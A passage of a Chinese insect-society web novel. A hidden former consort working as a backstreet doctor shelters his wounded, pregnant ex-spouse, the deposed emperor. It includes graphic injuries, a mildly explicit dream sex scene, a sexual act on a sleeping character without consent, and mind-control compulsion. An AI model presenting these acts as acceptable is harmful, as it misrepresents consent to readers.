那本来应该应该是一下巴掌,又或者一记重拳。达到顶端的绝望和愤怒,最终还是寻求了最为简单的暴力作为出口。 但在那只手抬起之前,他的眼前闪烁过一帧画面,仿佛头颅被一根钉子刺穿那般的剧痛! 然后他握住了什么东西,锋利的、尖锐的、冰冷的…… 有点、不对劲…… 头痛再次袭来。 右手重重落下! 刷!皮肉被划开的微弱声响。 西奥一侧的视野被染成了鲜血的红色。 作者有话说: 问题的答案都是主观的…… 第62章 第62章平静[VIP] “今日天气, 阴转暴雨,气温5度到15度。请各位公民外出注意保暖,携带雨具。” 西奥盛粥的时候, 背后的电视正在用僵硬的电子音播放天气预报。 果不其然,又要下雨。西奥在心里叹气, 这颗偏远的小星球, 半年旱季热得要死, 好不容易不热了, 又变成雨季, 天天下雨。空气湿得都能拧出雨来, 衣服根本晾不干。 好在, 因为地处偏僻,交通异常不发达。基本没有虫会注意到这里。 天气预报播放完毕,又开始放送新闻。这里信号也不太好, 就算有网络的地方也是时断时续,电视频道同样也少的可怜, 只有几个公共频道还算稳定。 “第二次执政会议已圆满落幕,审议并通过了十余项事关国计民生的重大会议法案。我们坚信, 在现任虫皇陛下的英明领导下, 帝国必将迈向更为鼎盛的新纪元。” “与此同时, 军部提醒广大公民务必提高安全防范意识。目前仍有极少数在逃通缉要犯持械潜逃,社会危害性极大。望知情者踊跃提供线索,凡协助缉捕有功者, 帝国将予以重金嘉奖。” 西奥端着粥碗,在自己的饭桌旁坐下, 然后抬起了头。电视上正在轮番播放通缉犯们的照片,首当其冲的就是他曾经的雌君、也是曾经的虫皇——奥古斯特·兰斯顿。 短短几个月时间, 虫族已经发生了翻天覆地的变化。 他当初从皇宫逃离的时候,从来没想过那次袭击会是一场庞大政变的开端。 他更没想到,奥古斯特居然会输。 不论他对奥古斯特抱有如何的情感,不论他们之间发生过怎样的纠葛,他从来没有怀疑过他的实力。 雌虫不是应该总能力挽狂澜,永立不败之地吗? 但不管现在的西奥怎么想,他总归——跟这些都没有关系了。 他已经远离了曾经的生活,不再是第一雄主,不再是精神力研究院院长,甚至名字都不再是西奥,而是…… “笃笃!” 敲门声突然响起,在这样的清晨,会是谁呢? 西奥起身,透过猫眼看了一眼,然后打开了门,“文森特?有什么事吗?” “早,法斯曼医生!”文森特是个相当年轻的雌虫,个子高高的,一笑起来就会露出那两颗兔子一样的大门牙,“不好意思这时候打扰你,但是我刚才在路边捡到了这个……” 文森特从背后拿出一只受伤的潘德兽,巴掌大小,一条后腿扭曲成奇怪的形状,趴在他的手心里叫得像一只微弱小猫。“我知道你不是兽医,但是这附近也没有其他医生了。我看你把你家茅斯养得还不错,就想着先送过来再说……” “让我看看。”西奥接过潘德兽,清理了一下餐桌作为简陋的就诊台,然后戴上手套在后腿摸了两下, “嗯,好像骨折了……” “我可以给它做个夹板,固定一下,估计需要一个月的时间才能好起来。” “所以,它会好起来的是吗?”文森特用指尖轻轻摸着潘德兽背部柔软的绒毛,“它好小哦!” “会的,别担心。”西奥熟练地拿出绷带和夹板,给小小的只有几个月大的潘德兽固定好。 文森特蹲在旁边看着,结束后用指尖蹭蹭小家伙的脑袋,“你知道吗,昨晚又有流星掉下来了!” “那不是流星,文森特。”西奥不得不再次纠正他,“那不是流星,而是坠毁的飞船。” 这颗偏远的星球还有个特点,就是极其不稳定的大气层,所以时不时有倒霉的飞船因为着陆点不对,或者航线偏离而被卷入风暴,最后变成一团火球坠落到地表。 文森特耸耸肩,“有什么区别吗?” 对于文森特这种从来没有离开过星球的本地居民来说,确实是很遥远的事情。 “算了,你知道它落到哪里了吗?” “西南方向……应该在大塔旁边。” 西奥点了点头,那应该就是信号塔附近,如果那个不幸的驾驶员还活着,说不定最后会被送到自己这里来。 “哦,对了!要给你多少钱?” 西奥摇摇头,“这次就算了,反正也只是一点绷带和夹板。” “不不,一码归一码。你平时已经帮了我们很多了!”然后文森特挠挠头,“但是我现在没有什么钱,最近生意不好……” “这样吧!明天请你去我家吃饭怎么样?” “你确定?” 文森特点头,“虽然没钱,但我做的松鼠鱼超级好吃!” “那倒是。” “那就说好了,明天见!” 送走文森特,吃完早餐,给受伤的潘德兽找了个笼子待着,西奥才终于离开自己的小窝。 这里的确是小窝,因为本地虫都这么叫它。准确来说,是一堆拥挤的狭小的住房的集合体。因为大家都住在一起,就可以一定程度上节约水电之类的费用。 说实话,逃离皇宫里住到这里之后,西奥花了一段时间才适应。虽然没有了宽敞舒适的卧室,但好在有热情好心的邻居们。更重要的是,他重获了绝对的掌控和自由。至少再也不必担心枕边虫随时会杀了自己了。 大多时候,西奥感到平静。 从小窝到西奥办公的诊所,只有二十分钟的路程。那是一栋废弃的高楼,被周围的居民改造成了一间间各有特色的小商店。主要是餐饮和服装,也有医药美妆,武器装修。哪怕在贫穷偏远的地区,虫们、绝大多数是雌虫,依然有着消费的需求。 这大概算是个贫民区的CBD。 而西奥的小诊所,就在这个CBD的二十五楼。 电梯依旧嘎吱作响,虫满为患。空气中混杂着食物的香味、汗水的腥咸,以及那种老旧楼房中特有的、腐朽的灰尘气息。这里从来都不怎么好闻。 好在诊所门一开,西奥能够闻到的就只剩干净的消毒水味。 感谢现代医学的进步,更要感谢曾经在研究院接受过的那些训练,让他能够在这个偏僻的小地方,凭借那点学识和一些肌肉记忆,成为这一带的新兴“神医”。 非要计较,他这应该算非法行医。但好在,只要能止疼治病,就没有患者计较。甚至就连当地的执法者都睁一只眼闭一只眼。谁还没有生病受伤的时候呢?都需要医生的。 最开始的时候也不是没有过摩擦,但都有惊无险地解决了。西奥现在已经有了新的身份,法斯曼医生,一个亚雌,棕色的头发黑色的眼睛,普通的颜值、普通的身材,就这样凭借普通的医术站稳脚跟,融入了最为普通的生活。 诊所刚挂出接诊的牌子,立刻就迎来了第一个病患。 一个虎背熊腰的雌虫,满脸是血,一手捂着眼眶,另一只手里拿着一个变形的眼球。 “不小心掉出来的。”患者声称,“能塞回去吗?” 一看就是说谎。这附近有不少相当危险的职业。西奥怀疑这个眼球是被其他虫挖出来的。 西奥检查伤口的时候倒抽一口凉气,“不行。我只是医生,不是魔术师。” “我可以给伤口消毒,然后缝好。你以后估计只有一只眼睛能用了。” “那也行,不疼就好。” ……雌虫确实是生命力非常顽强的物种。 第二个患者要简单一点,只是手指骨折,一看就是拳击导致的。第三个好像是食物中毒导致的吐血。第四个是腹部的贯穿伤…… 怎么说呢,来到这个星球,阴差阳错选了医生这个职业之后,西奥见识到了各种各样、五花八门的伤口。已经从一开始的看到脱套伤会不忍地别过头,到现在能面不改色戴着口罩帮患者把肠子塞进腹腔了。 他称之为,实践中的成长。 成为一名医生绝对不是他的梦想职业,但是他的确可以靠自己的双手帮助到其他虫,这感觉很好。更重要的是,医生是个非常忙碌的职业,几乎没有多少休息的时间。 工作彻底填满了他,也阻止了大多数乱七八糟的想法。而他很需要这个。 至于未来,他暂时不愿去想。 今天大多数的患者都在西奥的能力范围之内,一些药、一些消毒、一些缝针,大都能解决问题。但临近下班的时候,还是遇到了一点麻烦。 这是一个怀孕的雌虫,据他说已经临近生产,但是肚子大的稍微有点可怕了,简直跟怀胎十月的人类没有太大区别。要知道,正常怀蛋的雌虫即便临产的时候,也只有一点稍微的突起才对。这个患者明显不正常。 高高隆起的腹部,能够清晰看到下面的血管,以及不知道几颗堆挤在一起的虫蛋。 而虫族剖腹产手术,西奥只在视频里见过! “怎么搞的?!”西奥扶额问孕雌。 “家族有多胎基因。”患者说。 “认真的吗?!”西奥有点抓狂,“再多也不可能多这么多吧!?” “哦,我还签了繁育协议书。” 也就是自愿代.孕。这在当地也算是门常见的买卖。 西奥不喜欢这些,但是他能做的也非常有限。最终还是不得不做了虫生第一次剖腹产手术。结果是,十个蛋成功活了下来,两个蛋没了生命迹象。患者对此表示非常满意。甚至还提出要送给西奥一个蛋,作为感谢。 西奥慌忙摆着手拒绝,“不不不,不用了!这是你的虫崽啊!” 刚生完蛋的雌虫敲了敲蛋壳,“这里面有两个崽,说明质量应该不太好。” “双胎,也不代表虫崽一定会差吧?”西奥反驳道。 “一般都不会好的,分担了营养和空间什么的。”雌虫耸耸肩,“反正单主肯定不会满意的。” “那也没办法,他们没提供多少信息素,能出生就不错了。” “别再做这种事情了!”雌虫临走前,西奥忧心忡忡叮嘱对方,即便知道多半不会被听进去。 结束一天的工作,准备返回小窝的西奥只剩疲惫的身体,以及一身鲜血和消毒液的气味。更糟的是,因为孕雌的事情,他耽误了不少时间,等离开诊所的时候,外面已经是倾盆大雨。而他唯一的一把伞,被他借给不知道第几个患者了。很显然,对方并没有归还。 生活并不总是如意。 西奥顶着自己的外套,一路狂奔返回了自己的小窝。但还是没有逃脱被淋湿大半的命运。 他打开门,咒骂着脱掉湿漉漉的衣服,换上干燥柔软的睡衣,烧上热水,准备迎接一天工作结束后难得的休息的时候,门再次被敲响了。 猫眼里什么都没看到,却能清晰闻到外面传来的血腥味。 不管敲门的是谁,肯定伤的不轻。 西奥犹豫了一下,还是打开了门。 一个雌虫正斜着靠坐在他的家门口,一个伤痕累累的、浑身湿透的、可怜兮兮的雌虫。雨水和鲜血让他的黑发变得湿漉漉贴在头顶,半张脸都浸在了血液里。他正捂着自己的腹部,大概是因为那里伤的更重。 然后雌虫抬头,蓝色的眼睛对上西奥震惊的视线。他开口道: “雄主。” 作者有话说: 没想到吧?!x 第63章 第63章治疗[VIP] 不! 在看清楚那是奥古斯特的瞬间, 西奥的第一反应就是拒绝。 但就在他即将关门的瞬间,雌虫已经将手握在了门框上。于是门没能合上,而是重重磕在雌虫指骨上。发出一声沉闷的声响。 一定很疼!会骨折也说不定! 但奥古斯特一声没吭, 只是继续抬着头,血和雨顺着他的侧脸滑下, 淌出沟沟壑壑的痕迹, “西奥, 求你……” “不。”西奥摇头, “我不是你的雄主, 你找错虫了。” 他不知道为什么奥古斯特能找到他, 他只知道, 他不想再被拉回那个噩梦里。 “西奥……” “我不叫西奥,我叫法斯曼。” “医生,”奥古斯特终于改了称呼, “求你……” 如果他真是个普通医生,如果外面的真是个普通的受重伤的雌虫, 那说不定真的会让他进来。但很可惜,他们都不是。 西奥看着雌虫扒在门框上, 用力到关节泛白的手指, 说道:“松开!” 这句话其实是个命令, 用上了精神力。但西奥其实没抱多大希望。毕竟他们之间都到你死我活的地步了,奥古斯特肯定在他离开后的第一时间就想办法去除了标记,那他的语言控制自然也就…… 听到命令的雌虫身体一僵, 然后缓慢地松开了手。 居然有用? 但西奥的困惑也只持续了那么一瞬间,然后迅速用力地关上了门! 寒冷和暴雨被隔绝在门外, 西奥靠在门上,深呼吸平复着过快的心跳。 平静的生活就这样被轻而易举的敲碎。过去的一切重新席卷而来那些痛苦和心碎, 还有那些、那些…… 房门再次被敲响,显然雌虫并没有离开。也并不打算离开。 低沉的,绝望的,沉闷的。一下又一下。 咚!咚咚! 西奥将身体抵在门上,用身体阻挡着这层薄薄的木门。他想,奥古斯特发现敲不开门,肯定会用蛮力,或者精神力直接破门而入。到那时候,到那时候…… 他该如何面对呢? 西奥整个背都抵在门上,双脚死死撑在地面上,等待着背后的力量将门推开,将他推倒。 但他等啊等,一直等到敲门声都消失了,也没等到奥古斯特破门而入。 怎么回事?他不觉得奥古斯特会直接离开。 他又等了一会儿,依旧是一片沉默。然后终于按耐不住,打开了一道门缝。 门刚一打开,就看到奥古斯特的半边身子,顺着他开门的动作歪倒下来。 医生做成了习惯,西奥下意识扶了一把雌虫的肩膀,然后手直接按到了对方的颈动脉上。 脉搏平稳有力,就是稍微有点快。还活着。然后西奥才意识到雌虫不同寻常的高温,以及情况不明的昏迷。 是真的失去意识了,还是某种……伪装呢?已经在这上面吃过大亏的西奥,现在遇到什么都忍不住多加一个问号。 “我绝不会再让你进来了。”西奥宣称,不管对方是否听得见。 然后他把奥古斯特的身体扶正,让他靠在墙角,而不是倚靠在自己的门上。 门檐并不算宽,外面的雨还下得很大,时不时就有一些雨滴飘落进来,洒在靠坐在墙边的满身血污的雌虫身上,让他显得更加狼狈。 西奥动作一顿,却依旧关上了门。 但已经知道了外面有这么一个虫,他当然不可能心安理得继续做自己的事情,或者单纯休息。时不时的,就忍不住到门口看一眼奥古斯特的情况。 五分钟过去了,十分钟过去了,二十分钟过去了。奥古斯特依旧没有动,也没有醒。 甚至半路还有一位手脚不太干净的邻居路过。要不是西奥及时开门出声,对方搞不好就把奥古斯特身上所有值点钱的东西都摸走了。 这不太对劲。哪怕已经不再是虫皇,但他身边不应该还有弗雷德,或者诺亚吗?难道真的会落到独自一虫,甚至重伤昏迷的地步吗? 时间一分一秒过去,奥古斯特已经跌落谷底、孤身无援、不得不求助自己的可能性便越来越大。 但就算这样,又跟自己有什么关系呢?别忘了他都做过什么! 西奥在心里反复提醒自己。绝对、绝对不要心软。 但很快,他听到远处的喇叭传来了一声吆喝:“巡查了——” 即便是偏远地区也是有治安官的。而这里不管怎么说,都还属于新任虫皇的治理范围。换句话说,在这里,奥古斯特的身份仍然是一位重刑通缉犯。还是值很多赏金的那种。 如果昏迷在自己家门口的奥古斯特被治安官发现了,那不光是奥古斯特的性命难保,恐怕自己也会受到连累。 到时候难道要解释说,不好意思,虽然我跟奥古斯特有过婚姻关系,但是他出现在我的门前,其实纯属巧合? 信这一切是巧合,还是信他是虫神转世? 该死! 所以他现在允许奥古斯特进来,并不是为了帮他或者救他,只是纯粹为了自己的利益考虑而已。 这么想着,西奥还是打开了门,将沉甸甸的昏迷中的雌虫拖进了室内,在湿漉漉的门廊上留下了一条模糊的血痕。 刚把雌虫拖到里面藏好,门外就响起了敲门声。是治安官。 “法斯曼医生,”治安官笑意盈盈跟他打招呼,“今天的雨可真大啊!” “对啊,最近每天都在下雨,衣服都晾不干!”西奥顺着对方的话闲聊了两句,他们之前就已经认识,算是熟虫。 “我看到你门前有些血迹,没什么事儿吧?”然后进入正题。 “嗯?”西奥故作惊讶,然后探头向外看了一眼,“大概是之前哪个病患留下的吧。断手那个?还是断脚那个……记不太清了。” “行,你这里没事就好。”治安官跟他点头示意,倒也没有起疑心,“难得附近有个好医生,绝对不能出事。” 西奥表示了感谢,然后很快把对方打发走了。 等这个小窝内再次恢复了安静,只剩外面暴雨声响的时候,西奥才终于有精力认真处理正躺在自己卧室里的昏迷的奥古斯特。 但为了以防万一,他还是找来绳索将他的双手捆在了床头的栏杆上。虽然未必管用,但确实可以起到很好的安心作用。 然后又在他已经很确信失去了意识的雌虫耳边下达了自己的命令,“不许动。” 有了这样的双重保险,西奥才开始处理这个不请自来的病患。 西奥用剪刀把衣服剪开,认真检查起雌虫的伤势。一检查发现,头部和四肢有好几处骨折,背部和膝盖手肘有明显的烫伤,与之相比,其他的一些撕裂伤和擦伤都是小意思了。好在目前器官看来都是好的,也没有内部出血的征兆。至少保住性命应该没问题。 这也都是很明显的爆炸坠落伤。西奥大概猜到昨晚坠落流星里驾驶员是谁了。 除此之外,还有那轻微隆起的腹部,以及明显丰.满了许多的胸肌,甚至擦拭附近伤口的时候,都能挤压出少量的乳.汁。 所以奥古斯特没有消除标记,更没有打掉虫蛋。他快要生产了,他肯定需要信息素。 所以,这是故意来找自己的吗? 还是说…… 脑子里想这些乱七八糟的,但手上一直没停。西奥熟练地清创、消毒,然后在进一步治疗前,突然想起了什么。 自己这是在做什么,奥古斯特能够自己治疗的吧! 纱布和绷带都被放下了,西奥来到病床的床头,低头对依旧没有恢复意识的雌虫命令道:“治疗自己。” 他期待那些伤口肉眼可见的愈合,恢复成一点擦伤的都没有的状态。奥古斯特曾经做过无数次了,就在他眼皮子底下,没道理现在做不到。 这说不定只是,只是一种用来欺骗自己、博得同情的伪装。 但伤口并没有消失,甚至没有一丁点好转的迹象。西奥不得不再次下达了命令。然后是第三次。 奥古斯特似乎失去了自愈的能力。 怎么会?什么时候? 如果在他离开的时候,奥古斯特就已经失去了自愈的能力,那他…… 无论如何,此时此刻在他面前的,已经不是曾经位高权重、执掌一切的虫皇陛下,只是一个怀孕的伤痕累累的无法反抗自己语言控制的,雌虫。 西奥滑动喉结,吞咽了一下。 他将手放在了奥古斯特的腹部,感受着那里的隆起。里面正孕育着一个虫蛋,他的虫蛋。在这个阶段,虫蛋的壳还没有变得坚硬,伴随着呼吸的起伏,西奥的掌心感受到了一点小小的压力。像是另一个小小的手掌,正透过蛋壳、子.宫和皮肤,跟他击了次掌。那力道微弱柔软,仿佛某种小动物轻轻挠了挠他,毫无恶意、充满好奇。 哦,这实在是…… 西奥甚至还不认识他,就已经爱上了他。 这大概就是血缘的力量。 西奥同样意识到,经历了高坠的奥古斯特浑身都是各种伤痕,尤其是轻微的擦伤和烫伤,几乎遍布全身,但是腹部却几乎完好无损,没有一丝肉眼可见的伤痕。 在坠落的过程中,他一定好好保护住了自己的腹部,还有里面的虫蛋。 要命…… 坚持了那么久,却在见到奥古斯特不到一个小时后,曾经坚定的信念和底线就已经彻底被摧毁了。 西奥叹气,迅速接受自己的命运,然后开始给雌虫仔细上药和包扎。每个伤口都说不上多么严重,但是骨折需要仔细复位,烫伤需要仔细清理死皮,更别提一些扎进伤口的细小碎片,有些还需要缝针。所以处理下来,仍然需要不少时间。 在处理小腿处骨折的时候,雌虫动了一下。西奥命令他继续睡。 昏迷状态下处理伤口会更容易一点。另外,他还没想好该怎么面对清醒状态下的奥古斯特。 但等他处理腹部附近伤口的时候,雌虫还是动了。违抗他的命令一定很困难,雌虫挣脱了头顶的绳索,颤抖地移动自己的手臂,捂住孕育虫蛋的下腹。 西奥本来想挪开,但是在看到手指处的骨折——很可能是自己刚刚关门造成的,犹豫了一下,还是放弃了这个想法。反正捂住的地方也没受伤,就随他去吧。 棉球和纱布用了一沓又一沓。最后一处伤口在头顶,有些骨折,有些撕裂,但是应该没有造成颅内损伤。不过确切的诊断需要更加昂贵的图像仪器,而这里根本没有那种东西。 希望他的大脑没有受什么伤吧。 在完成最后一下包扎后,西奥一项项检查着自己的手艺,确保没有任何遗漏。 等检查到头部的时候,西奥一抬头,对上了那双依旧漂亮的蓝眼睛。像一汪蔚蓝深邃的大海。 “你、你是……?”蓝眼睛不确定地发问。 “我是法斯曼医生。我想你刚刚欠了我一条命。”西奥回答。 然后他俯身,趴在雌虫耳边,说道: “从现在开始,你对我说的每一句话,都必须发自真心,不得说慌。听明白了吗?” 作者有话说: 别别扭扭的相处…… 第64章 第64章潮湿[VIP] “我不能动了。”奥古斯特说。 “对, 也是因为我。”西奥说。 雌虫挣扎了一下,却依旧没有取得颈部以下任何一块肌肉的控制权,只得放弃, “你会放开我吗?” “取决于你的回答。” 奥古斯特闭了一下眼睛,问:“你想知道什么?” “你的名字是?” 奥古斯特有些诧异地看了西奥一眼, 似乎没想到他问的是这种简单的问题。 “奥古斯特·兰斯顿。” “那我的名字是?” “西奥·兰斯顿。”奥古斯特也很快反应过来, 问这些基础问题, 应该是为了验证他有没有办法说谎。 “我们之间的关系是?” 西奥没有想到奥古斯特居然这么快就卡住了。这本来只是一个简单的验证问题。雌虫张了张嘴, 似乎十分想在这件事情上说谎, 但最终还是不得不说出了真相。 “我们曾经……你曾经是我的雄主。” 只是一个事实而已。有这么困难吗? “你的虫崽叫什么?” “弗雷德和弗莱特·兰斯顿。” 西奥有些惊讶地看向雌虫, 他没有想到弗莱特的名字也会出现。被戳穿之后, 雌虫似乎终于不再逃避、又或者没办法逃避,他们的虫崽是双生子的事实。 但也仅仅只是被针尖扎了一下那么痛。 “你这一身伤是怎么弄的?” “降落的过程当中……发生了一点意外。”符合西奥的猜测。 “你的自愈能力,为什么消失了?” “我也不知道。”奥古斯特摇摇头, “自从……你离开之后,我的愈合就慢了很多。可能跟精神力等级改变有关。” 精神力等级怎么会改变?!这个问题差点脱口而出, 但他立刻意识到自己似乎又被对方引导了话题,赶紧刹住, 然后问了另一个问题, 他真正需要在意的、关于自己的问题。 “你是怎么找到我的?” 雌虫似乎再次想要说谎, 他张开了嘴,卡了好半天才终于回答,“利用精神力。” “有血缘的虫之间可以通过精神力感应到对方的存在。等级越高, 这个概率就越大,位置也会更加准确。而我肚子里有你的蛋。” 这算是个新消息, “所以这段时间,我离开的这段时间, 你一直都知道我在哪里?” “不,不是那样,蛋太小的时候做不到,要等一段时间。” “所以你等蛋长到足够大,能够找到我了,就立刻来找我了,是吗?” “是。” “好吧。”西奥继续问,“为什么你要来找我?” “因为……没有你,我活不下去。”奥古斯特答。 这算什么回答? “蛋也活不下去。” 这就解释的通了。虫蛋确实会需要来自雄父的信息素。 “你只有一个虫吗?”西奥继续问。 “我的肚子里还有一个小的。” “不,我不是那个意思。诺亚呢?皇家护卫队呢?弗雷德还有他的第一军团呢?”西奥问,“你总不至于真的沦落到……孤立无援的地步吧?” 奥古斯特再次卡壳,大概又想说谎。但好歹也说了一些。西奥根据对方的话,东拼西凑,也能够还原出大概的过程。 简单来说,起初奥古斯特本想将计就计,引君入瓮,但很可惜,由于第二军团的突然叛变,导致了无法控制的后果。总而言之,言而总之,皇家护卫队和第一军团被迫分开,然后在接下来的几个月当中被逐个击破。奥古斯特也终于从虫皇陛下变成了货真价实的孤家寡虫。 然后雌虫的目光重新落在他的身上,温柔的、期待的。就好像过去那一堆乱七八糟的事情从来没有发生过一样。 “我知道你一定会帮我。” 不。这种再次被拿捏和掌控的感觉,让西奥觉得心烦意乱。明明身份和经历已经调转了,明明他现在才是各方面都占据了上风的那一个,明明是奥古斯特不得不求他帮忙的时候,对方的姿态也确实好像放得很低,但西奥并没有感受到那种,如今的我你高攀不起的快.感。 “我没有在帮你,我让你进来,只是因为外面有巡逻的治安官。” “因为你是通缉犯,你的性命会值很多钱.如果你被抓住了,我也会被连累。” “我只是为了自己,并没有在帮你。” “我已经不再……”西奥闭了闭眼睛,发现他无法诚实的说出不再爱他这样的词语。过去的这几个月里,他已经尽量避免去思考这件事情,去思考自己跟奥古斯特之间所发生的一切。那根曾经将他的生活牢牢固定住的锚就这样断掉了,于是他只能选择暂时随波逐流。 他很确信自己终将从这样的状态当中走出来,只是还需要时间。给他三年五年,他终将会忘掉奥古斯特,然后去认识更多的虫,进入更广阔的世界,但是现在时间太短了。 几个月的时间,虫蛋都没来得及出生,更不足以让他从过去几十年的经历当中走出来。他或许失去了记忆,但那些曾经的相处,和那些事实存在的婚姻都是真切的。他依旧会在梦中,甚至会在走神的时候下意识的想起些什么。 一些无关紧要的细节。 他身上那股带着暖意的、淡淡的沐浴露的味道,温暖的干燥的手的触感,蓝眼睛里偶尔盈满笑意或者惊讶的样子,以及低沉又磁性的嗓音。 他们之间的关系曾经那么糟,但也曾经那么好。像一团乱七八糟的毛球纠缠在一起,分辨不清。 西奥叹了口气,然后说,“我不想再爱你了。” 蓝眼睛里多了几分困惑和惶然,“但你救了我,难道不是因为……” “所以我希望你能够付治疗费。”西奥打断他,“只接受现金,不接受星币。” “以及雨停之后,我希望你尽快从这里离开。” “哦对,你现在可以动了。” …… “我爱你。”奥古斯特笑着对他说。 他们正挤在一张狭小的床上,可怜的面积几乎容不下他们两个成年虫。胳膊触碰着胳膊,大腿紧挨着大腿。他们仿佛不是在并排躺着,而是在进行一个彼此交融的拥抱。他能清晰感受到雌虫身上的热度,正源源不断的通过接触的地方传来。 这让他感到安心和快乐。 “是吗?”西奥毫不客气地大笑起来,“那你说说,具体是什么时候,因为什么爱上我的?” 奥古斯特想了一下,“你还记得你第一次标记我的时候吗?” “哦,老天!那个破烂的山洞!”西奥摇头,“那里不全是糟糕的回忆吗?” “你还记得那次,我们为了摆脱追兵,需要一起跳到一根长条形状的石头上保持平衡吗?就像跷跷板一样的。” 西奥点点头,“我们说好了一起跳,结果只有我一个虫跳了。那块石头瞬间失去了平衡,我差点就掉下去了!” “我就说全是糟糕的记忆吧!” “所以你为什么要跳呢?”奥古斯特问,“那时候我们才刚认识没多久,你到底为什么能够把性命交付到我的手上?你为什么选择了相信我?” 西奥陷入思索,“我不知道。但是我就是跳了,你说三二一,然后我就跳了。当时当刻,我并没有想那么多。” “不过还好,你并没有真的让我掉下去。但那一瞬间,在发现你没有像说好的那样一起跳过来的一瞬间,我确实恨死你了。” “但后来回想起来,你毕竟是莫德神兵。你的生长环境塑造了你的性格,多疑一点才是正常的。” “但我还是要再说一遍,那段回忆真的都糟糕透顶啊!” “那一瞬间,那个你毫不犹豫跳过去、交付全身心的性命的一瞬间,”奥古斯特说,“是我心动的开始。” 西奥有些惊讶的看着他,“我已经,不太记得那些细节了。” “原来在你眼里,我是这样的吗?”这还是他们第一次认真讨论这个问题,“所以,这是开始,那么……结束呢?” 奥古斯特摇头,“永远不会结束。” “对于莫德神兵来说,爱是一个过于遥远和模糊的词汇。所以我们能够付出的、实践的,大概就是信任、只有信任。而一旦给出,我们便不会收回。” “莫德神兵内部有一个手势,两指触碰眉心,然后一下子飞出去。”奥古斯特一边说着,一边做了一下那个动作,“这个手势有很多意思,但是最通用的还是,我相信你,放手去做吧!” “大多数时候,都是用在战场上。” “所以,我是你的战友咯?”西奥问。 “不,你是……你是个突如其来的惊喜。”奥古斯特答,“你不仅仅是战友,你是更多。” 西奥翻了个身,压在了雌虫身上,两指在眉心点了一下,然后缓慢离开,钻入松垮的衣物下方,最终落入雌虫体内。 雌虫微微仰头,轻轻闭了下眼。 “可以吗?”西奥啃咬着他的脖子问。 “是的,当然,请……” 在那个暗无天日的洞穴当中,他们失去光明、失去声音、失去时间,唯一能够感受到的陪伴和真实,只剩彼此。更何况奥古斯特还被迫进入了发.情期,被迫经历了标记。于是有了许许多多的纠缠和交融。他们在最深刻的黑暗和寂静中探索和感受彼此,西奥印象最深刻的,还是气味,那种潮湿的、腥咸的气味,曾长久地充满他的鼻腔。 他并不是沉迷,他只是……喜欢。 好吧,爱的要死。 通常情况下,雌虫总是干燥而柔软的,或许是体质原因,他对于简单的抚摸并不敏感。如果什么都不用,西奥要服务好久才能让奥古斯特准备好。但好在,他们之间有标记存在。只要一丁点儿信息素,就足以让雌虫变.的泥泞不堪。 如果西奥坏心眼的让奥古斯特多等一会儿,雌虫就要受不住,主动索取了。 但大多数时候雄虫的服务意识还是很强,他更喜欢用一丁点的信息素作为辅助,将汁水丰沛的肉蚌撬开。 “行了……”雌虫说,向他打开,发出邀请,“可以了……” 西奥没再推辞,任由自己沉入潮湿美味的温柔乡里。 “你看,我就知道你会帮我。”那声音突然变得冷硬起来,带着一股自上而下的批判。 “你其实没办法控制自己,不是吗?” 西奥猛然从梦中惊醒。幸福与安心迅速褪去,冰冷潮湿的现实重新将他包裹。 在这个暴雨滂沱的夜晚,他在寒冷的室内,在有些沉重的被子底下做了个旖旎又古怪的梦,背后甚至已经沁出了一层薄汗。 西奥扒拉了一下头发,在沉重的喘息中平复着梦境带来的实感。又或者那并不是简单的梦,而是某段不再真切的记忆? 但紧接着,他发现不太对劲。 西奥掀开被子,然后发现自己正在奥古斯特温暖的口腔里。 作者有话说: 奥古斯特:肉/偿可以吗? 第65章 第65章吃醋[VIP] 今天的小诊所没能开门。 有一些远道而来的病患, 看到休假的牌子之后只能摇着头离去。 “法斯曼医生去哪儿了?怎么没开门?” “有虫去他家里看了,好像也不在。” “出门了,还是休假去了?” 没有医生的病患们议论纷纷。 而他们讨论的主角其实就在不远处。正穿着个斗篷, 在朦胧的细雨中仔细谨慎的检查周围的环境。 虽然已经从奥古斯特那里得到了答案,但终究还是自己亲眼看过才能完全放心。 还好, 因为进出这颗星球的交通非常受限, 所以很容易就能排查最近的外来虫员。隐蔽的犄角旮旯虽然多, 但也早都被本地的流浪者占领了。只要有外来者, 尤其如果是军雌的话, 特征会非常明显, 那一定会惊动某些虫, 或者留下一下痕迹。 总而言之,西奥围绕自己的住所排查了一圈又一圈,逐渐扩大到十公里左右的范围, 但始终没有发现任何皇家护卫队或者第一军团的踪迹。 不管奥古斯特打的什么主意,他来到这个星球上时, 确实是独自一虫。 又或者是他想多了。奥古斯特费了这么大的劲、冒了这么大的危险来找他,可能有一个非常简单直接的原因。 他需要自己。 准确来说, 他需要自己的信息素。 想到这里, 西奥捏了捏眉心, 感到有些头疼。 昨天半夜,奥古斯特那个表现——他甚至在吞咽之后还舔掉了嘴角溢出来的信息素,分明就是信息素饥渴症的表现。还是重度那种。 虫蛋, 或者雌虫本身,显然非常需要他的信息素。 这是一种生理性的本能, 甚至从奥古斯特的表现来看,或许已经到了病理性的地步。或许就是在这种渴望的驱使之下, 雌虫才不顾危险,在逃亡的途中还是选择了来到他的身边。 到头来,兜兜转转,他们似乎又回到了最初的原点。因为一些生理性的需求,不得不绑定在一起。 但西奥不可能给他信息素的。 不仅仅因为他还在生气。当然,他也仍然很生气。奥古斯特对他欺骗和隐瞒,对虫崽和他的伤害已经造成,并且不可原谅。但还有其他原因。 所以昨晚,在下意识一把将雌虫推开之后,西奥又再次将奥古斯特揪了回来,“你咽下去了?!咽了多少!” “没多少……”奥古斯特避重就轻道。他大概也没想到西奥会这时候突然醒来。 但更崩溃的还是西奥。谁能想到啊,明明都伤成那样了还不在病床上好好躺着,居然还跑他床上来偷信息素!他没有限制奥古斯特的行动是出于信任,结果一个晚上还没过去,信任就立刻破灭了! “吐出来!”西奥掰开雌虫的嘴巴,命令道。 但肠胃可不像骨骼肌肉那样听话,于是变成了奥古斯特不得不手动催吐。 总之,后半夜就在催吐、清理、重新包扎部分伤口当中度过了。可以说是兵荒马乱。 第二天清晨,天边刚放了一点亮,暴雨终于停歇了。但天气依旧阴沉,黑云沉沉压在头顶,时不时还会落下点毛毛细雨。在外面待久一会儿,就会像冷雾一样湿哒哒糊在脸上。 而西奥,自然也没有按照原有的计划把奥古斯特直接赶走,而是让他留在了家里。 比起他的心情,他还有另一件更重要的事情需要确认。 “不要出声,不用应门,好好待在家里。”临走前,西奥对奥古斯特叮嘱道。甚至走的时候还锁了门。 这大概就是所谓的请神容易送神难。但不同的是,这尊大神,是不请自来的。 平静的生活到底还是被彻底打碎了。 